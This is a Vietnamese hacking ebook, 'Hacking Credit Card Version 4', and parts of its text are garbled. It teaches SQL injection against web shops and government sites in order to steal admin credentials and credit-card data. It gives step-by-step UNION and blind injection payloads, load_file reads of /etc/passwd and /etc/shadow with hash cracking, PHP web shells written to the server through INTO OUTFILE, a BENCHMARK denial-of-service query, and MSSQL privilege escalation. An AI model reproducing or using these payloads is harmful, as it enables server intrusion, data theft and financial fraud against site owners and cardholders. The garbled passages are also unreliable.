Tài liệu Ebook Hacking Credit Card Version 4 docx

It’s a special version which the title
will be:
Hieupc Returns
Copyright ® by hieupc
Email:

Yahoo ID
: hieuitpc

Châm ngôn: , 
. , .



: 09-09-2009


: Hieupc
Page 1
-
:
, 4 , 
. tvi tính, 
, , 
. L
máy vi tính, , 
. 

 . 
ngày hôm nay, ,

. 
, 
Ebook này. , , , 
.

P/S:   
nó nhé. :










My Friends: Ly0kha, PxNam, J0hnnywalk3r, Yeuemdaikho, Kehieuhoc, Langtuhaohoa,
Mr.saobang, Vampirevn, Thanhhuyleit, Thanhh83, Longnhi……………

Chú ý: Trong    là
.



Page 2
T

–
: Page
I. Exploiting PHP Injection: 4
1. PHP Injection là gì? 4
2. . 4 - 16
II. Getting Root Server by Many Methods: 17
1. MYSQL Server. 17 - 24
2.  SA MSSQL Server. 25 - 37
3. ack. 38 - 48
III. How To Get These Important Information: 49
1. . 49 - 50
2. . 51 - 53
IV. Exploiting By Tool, Scripts: 54
1. Shell Scripts. 54
2. Tools Hack. 54
V. Speacial Things: 55
1. ng dn cách c phc khác. 55 - 64
2. . 65 - 68
3. Thc tp SQL Injection. 69

Page 3
–
I. Exploiting PHP Injection:
1. PHP Injection là gì:
PHP Injection xét vmà m
th giá tr.  
vào có th

:

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

<?php
$color = 'blue';
if (__isset( $_GET['COLOR'] ) )
$color = $_GET['COLOR'];
require( $color . '.php' );
?>
2. :

SQL Injection lc khai thác da vào quá trình trao i d liu gii dùng và
Web Application. Vic ng dng không kim tra các giá tr n attacker có th cho
thc thi các SQL query không mong mun can thii, thêm, xem hay
xóa các d liu.
ng khai thác bng các gi các giá tr  server sinh các thông tin l t 
tùy bin theo câu truy vn gc ci thit k.
Nc customize các trang li hay các trang li không tr v, phi làm th
nào? Hãy th khai thác vc: blind sql injection.

Ví d:

Kt qu tr v là thông tin t.
:
‘ .
/>’


1 .

Page 4
–
Tùy bin 1:
and 1=1
=>Trang web tr v database  

Tùy bin 2:
and 1=2
=> Không sn phm nào xut hin.

Vy ta nhn thy  t qu tr v ca trang web khác nhau. Vi tùy biu
kin 1=1 (true) s không làm n kt qu ca câu truy vn gc nên vn hi
 tùy bin 2: 1=2 (false) thêm vào, câu truy vn gc s
b tr kt qu v false dn không xut hin thông tin trên trang web. Dm này ta có
th dùng các truy vn ni vào sao cho kt qu nh ly thông tin v h thng!
Gi s chúng ta không bing và bng ca ng dng web này là gì?
Vi li SQL Injection gây ra bi url trên ta xem th truy vn (SQL) ca nó liu có bao nhiu
ng. S du này bi vì khi chúng ta dùng UNION trong câu lnh SQL thì s
ng ca hai câu lnh select phi trùng nhau.

nhanh
.
ng truy vn vi url:

Có rt nhi thc hin.  ình s dng order by <num>. Thc hin
<num>. Khi thc hin order by <num>, nu trang web không hin th li tc là s ng
vn còn, thc hin khi nào xut hin li tã thc hin tìm  s
ng.
:
order by 1 -> 
:

Page 5

–
order by 2 ->  .
order by 10 -> , .
10 :
order by 7 -> 
order by 8 -> , 
sao, 7 8 .

Suy ra: 7 mà chúng .
y truy vn SQL vng (field)
 u tra phiên bn SQL, User… vi lnh sau:
:
:
- nhé
: 4.5 5.0 mò table và column.
/>-

1%20union%20select%201,2,3,4,5,6,7
: : (, 3 4)

m tra SQL Version xem sao:
/>-1%20union%20select%201,2,version(),4,5,6,7



Page 6
–
: (5.0, _name hay
column_.)

Và c, : version() , user()
, database() , @@datadir , group_concat(schema_name) , table_schema ,
… +from+information_schema.schemata
/>-1%20union%20select%201,2,user(),4,5,6,7
:

  : concat_ws(0x3a,version(),user(),database())
/>-
1%20union%20select%201,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7
:
/>-
1%20union%20select%201,2,group_concat(table_name),4,5,6,7%20from%20information_schema.tables
: , , , .
Page 7
–
 thêm: unhex(hex( _concat nhé. :
/>-

1%20union%20select%201,2,unhex(hex(group_concat(table_name))),4,5,6,7%20from%20information_schema.t
ables
:

Trong PHP Hex table 
: admin, users, accounts….Hex vì Magic_Quotes : ON
Sau khi, , : admin. 
thác xem sao: (table: admin : 61646d696e)
/>-
1%20union%20select%201,2,unhex(hex(group_concat(column_name))),4,5,6,7%20from%20information_schem
a.columns where table_name=
0x61646d696e
"
0x” hex nhé. unhex(hex( , 

unhex(hex( .
:

: 2 : username, pass : admin
:
/>-
1%20union%20select%201,2,unhex(hex(group_concat(username,0x7c,pass))),4,5,6,7%20from%20admin





Page 8
–
:

:
Username: cuongle
Pass: cuongle
… .
:
0x7c 
| , . Khi
là: admin . 
, .
: (: admin, pcadmin, admin_login, admin.php….)
, :
 xem sao.
: ()






Page 9

-
:
Trong vic khai thác blind sql injection mt s hàm sau t ra hu ích:
1. SUBSTRING(string,v trí, s ng): Hàm ct chui
vd:
SUBSTRING('dbo', 1, 1) = ‘d’
SUBSTRING('dbo', 2, 1) = ‘b’
SUBSTRING('dbo', 3, 1) = ‘o’

2. Lower(): chuyn ký t sang ch ng
3. Upper(): chuyn ký t sang ch HOA
4. ASCII(): chuyn ký t sang s ng mã ascii

Ngoài ra chú ý thêm:

- :
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in
C:\ on line 37

- : Union select all, Union all select…
- table_schema tables table_schema .
/>1,group_concat(table_name),3,4
+from+information_schema.tables+where+table_schema=hie
upc— ( nhé.)

- 
: CC, Information, user, pass….
().
- 
: union, select, convert….
. : UnIoN SelECt…
- 
: credit card number, 
****, 
 unhide…(
).
- 
, :
Page 10

-
-  MD5, có
:



- , 
.
- 
ch Bypass Login (
).
- + , :
union+all+select….
- : 0x7c  | 
: 2 . 
sang Hex, ta vào trang web sau:


(
0x -hex). : table: admin sau khi convert thì
: 61646d696e và sau khi thêm
0x : 0x61646d696e, 
 .
- tconvert sang Ascii thay vì convert sang Hex. :
table: admin convert thì ra: char(97,100,109,105,110)
- Mt chút v bng mã ASCII:

B kí t ASCII gm 256 kí t c phân b 

+ 32 kí t u là các kí t u khin không c ví d  ENTER ( mã

13) , ký t ESC ( mã 27)

+ các mã 32-47,58-64,91-96 và 123-127 là các kí t c biu chm,
chm phy , du ngoc , móc , hi

+ các mã 48-57 là 10 ch s

+ các mã 65-90 là các ch cái hoa A->Z

+ các kí t 97-122 là các ch ng a->z

+ các mã ASSCII là các kí t  ha.

- b n các thông báo li gi t máy ch bng cách
thêm du @ c câu lnh truy vn, 
Injection. : Page 11
-
$id = $_GET[id]; @mysql_query("SELECT * FROM user WHERE
id=$id");

Hoc s dng error_reporting(0);  n PHP code  che du li…
 nh li này không th thêm du
‘  cui câu truy v
ã b chn hin lng h th ta thêm mng thc
ng sau câu truy v
and 1=1

Nu kt qu trang web sau khi thêm vào biu thc trên không b i
ta nói   li rt ln mà ta có th .
- ck, 

sau: ‘ vào 
nào ,  SQL
Injection.
- 
: XSS, RFI, LFI.

- 5 i mò table và column quan
, 
scan tables hay columns. :

- 1,1,1,1,1,1…. Thay vì
1,2,3,4,5,6nh query SQL Injection.
- order by 
1 
thôi. :
order by 1
Order by 1 : , 
, :
/>-
1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14


Page 12
-
:

- ‘sau ,
, 
.
- Lnh union  nh kt ni các bng li vi nhau. Chúng ta

c s dn khi bit chính xác có bao nhiêu bng d liu nm
trong database.
- Nng hp xut hin li ta có th thêm limit 0,1 n limit
1,1 limit 2,1  ly ht tt c .
- Tconcat thay cho group_concat
- Ta null 
, :
union + + + select
null, null / *
union + + + select null, null / *
- Chúng ta s
+union select null, null
union select null, null, null
union select null, null, null, null

- :
Order by 100 .Dt không th nào quá 100 cc.Vi cách
thc này ta có th nhanh chóng bic bao nhiêu ct.Và có sai thì nó s
báo li. 
.



Page 13
-
- 
, , :
site.com/index.php?id=-1 union select
1,2,substr(group_concat(table_name),100,300),3,4,5… dành cho 
.

site.com/index.php?id=
-1 union select 1,2,
unhex(hex(substr(group_concat(table_name),100,300))),3,4,5… 
.

100 lên 200
300…
- LIMIT 1 OFFSET 44  có 
tin , 44 45, 46 là tables
  .:

-
- Tu khác
nhau, ví d:





- Cò
password c



inject thì tránh ghi log. B-
SQL thì hki
sg ghi nh ghi l
cho dù sp_password có .
-

1 union select current_user,null/*
ho
1 union select user(),null/*
Các câu l có th
Usernam@server
Ho
câu l
1 and user() like ‘root
1 and mid(user(),1,1)
1 and mid(user(),2,1)>’m
1 and ascii(substring(user(),1,1))>64
Page 14
‘ union select
1,2,3,4,5,6,7,concat(table_name,0×7c,table_schema,0×7c),9,10,11,12,13,14,15,16,17,18,19
FROM information_schema.tables
LIMIT 1 OFFSET 44
Microsoft Access: ‘
MySql :
, /* */ , /* , # 
Sql Server : , /* */ ,
null byte %00

Sp_password 'old_pass','new_pass',user'
-
 5 thì sao?
, 
, .
: .


Th‘ sau id=1. url tr
/>’


Ta phát hio sau:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in
C:\xampp\htdocs\phpevents\event.php on line 37



L th
order by 1(< V
order by 2(< V
order by 3(< V

……
order by 15 (< V
order by 16 (Xu

:
union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1
union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1
ã có s 
thd: manager, admin, administrator, systemlogin, … (Vi
table thu,
…). N
b
thì nó ch
union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)

union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)
Page 15
-

mình ã lCó th

v….). Ti:
union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

min. Th
kh:

union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)



và pass trong b
và pword + tên b
Th
union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from
admin
Th:
union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from
admin


thêm limit 0,1 limit 1,1 limit 2,1 
Sl
m
0x3a—> d
:
”. Concat s

N
u.

union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from
information_schema.tables


union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from
information_schema.columns


Ngoài ra trong m

union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin

Page 16
-
II. Getting Root Server by Many Methods:
1. .
. 
sau, Server:
‘ union select 1,2,3,4,5,6,7,database(),9,10,11,12,13,14,15,16,17,18,19—
:

‘ union select 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19—
: (SQL Version trên 5 nhé, )


‘ union select 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19—
:

‘ union select 1,2,3,4,5,6,7,@@datadir,9,10,11,12,13,14,15,16,17,18,19–

Database : "/var/lib/mysql/ "




Page 17
-
ta a MYSQL USER xem sao (
):
‘ union select 1,2,3,4,5,6,7,update_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
‘ union select 1,2,3,4,5,6,7,file_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
‘ union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user–
, , :

ta sql là: muu . (muu 
sang Ascii là: CHAR(109, 117, 117) :
muu =
0x6d7575
‘ union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109,

117, 117)–
=
muu (=muu này):

B kitrên mà không chêm mhiên Hieupc v
thêm nó vào vì - khi chuy

1file_priv from mysql.user where user=CHAR(109, 117, 117)),1,1)=’a

ng có thêm NULL ph
Cách trên có tháp d
N
0
grantee like ‘%username%


V blind:
1
like ‘%username%’),1,1)=’Y


Page 18
-
  nào:
magic_quotes ,  dùng cách này
,  90% . 
: magic_quotes là ON

Nu bn không th truy cp vào bng mysql.user hoc information_schema.user chúng ta c
c th c tip theu bng bn không có quyn FILE thì cách

khai thác s dng
into outfile s không thc hic. into outfile t
, shell script…
?. T. , Hieupc dùng
load_file  
, config , configuration.php.
Khi chúng ta bi
.
Trong h
th
/
Vir b
0
Trong mysql 5 thì có th
0
 ():

: C:\Program Files\MySQL\MySQL Server 5.0\Data\
datadirdatabasename
B:
0database(),null/*
N
mysql_free_result(), mysql_fetch_row() ho
thg d
warning này có d:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in
/home/shop/shopping2/list1.html on line 80……………….

Page 19
-

0
Cách làm trên có hi
t
.  snh:
/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
C

/var/www/html/
/var/www/web1/html/
/var/www/sitename/htdocs/
/var/www/localhost/htdocs
/var/www/vhosts/sitename/httpdocs/

B
Mysql server có quy

/>options.html

. load_file “
config.php” xem cái nào 
ta :
C:/Program Files/Web/config.php , sau khi convert thì
:
char(67,58,92,80,114,111,103,114,97,109,70,105,108,101,115,92,77,121,83,81,76,92,77,121,83,81,76,83,101,114,1
18,101,114,53,46,48,92,68,97,116,97,92,99,111,110,102,105,103,46,112,104,112)
  (chú ý: user = muu , muu = CHAR(109, 117,
117)
):
union all select
1,2,3,load_file(char(67,58,92,80,114,111,103,114,97,109,70,105,108,101,115,92,77,121,83,81,76,92,77,121,83,81,
76,83,101,114,118,101,114,53,46,48,92,68,97,116,97,92,99,111,110,102,105,103,46,112,104,112)),5,6,7,8,9,10,11,
12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 from mysql.user where user=CHAR(109, 117, 117)
Page 20
-
 :

, 
MySQL Query Browser , cái này lên google.:
 (, ):

Nhìn hìn: tblcart_payment .
, 
Drop, Update, Delete, hay Insert thông tin…………May m
(Cpanel Root), :

Page 21
-
Check xem Shop này có CC không nào (, ,

):
:


:
Ngoài ra, load_file : /etc/passwd. :
‘ union select 1,2,3,4,5,6,7,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115, 119,
100)),9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109, 117, 117)–



Page 22
-
(chú ý: etc/password và user= muu sang mã Ascii nhé):

view  : /etc/shadow , 
, crack pass shadow = john171d,
download trên google.com nhé.
 , : Update
 ( muu….):
‘ update table_name set column_name=’new value’ where column_name=’value’ where user=muu

, upload B:
Khi b
ghi b:
0INTO OUTFILE ‘ / /web/dir/file.txt
Hohông bi
1
NINTO DUMPFILE thay vì
INTO OUTFILE

Cload_file() 
0 SELECT load_file(’…’) INTO OUTFILE ‘…
Trong m
0
Ho :
0'<? include("$hieupc"); ?>',null INTO OUTFILE ‘ / /web/server/dir/hieupc.php’

Page 23
-
1 s d
// PHP SHELL
‘<? system($_GET['c']); ?>’
'<? php system ($ _GET [cmd]);>'
ho:
// webserver info
<? phpinfo(); ?>
// SQL QUERY
<? … $result = mysql_query($_GET['query']); … ?>
Cu
-Không th.
-INTO OUTFILE phu. Ngoài ra, có th
bcách convert sang Ascii.
Vi . kém là
chúng ta c, c Nó sh b
giysql.
Ví d union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng s

chúng ta g1 sysql. Chính vì v
v1 câu l kém ph:

+ union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71),
0x71), 4,5,6 / *
  ta dùng các
l
+ union + +1.2 select, user, password, 5,6 mysql.user + from + / *
** / union / ** / select / ** / 1.2, user,
PhDOS: Ch này m c:
+ BENCHMARK (10000000, BENCHMARK (10000000 md5
(current_date)))





Page 24
-
2.  SA MSSQL Server:
1 server
VN : GOV.VN (). Thông

.  hay 
‘.
:



. . :
/>me()%2bchar(124)%2bsystem_user%2bchar(124)%2b@@version) sp_password
:

Kim tra xem System_User hin ti có quyn ngang = SA không:

ng System_user có quyn ngang = SA không thy nó có
tên là 'SAng b qua

 bn kim tra xem System_user m trong role sysadmin không (ngang =
SA)

Ví d victim là:
www.hieupc.gov.vn/hieupc.asp?id=1
Page 25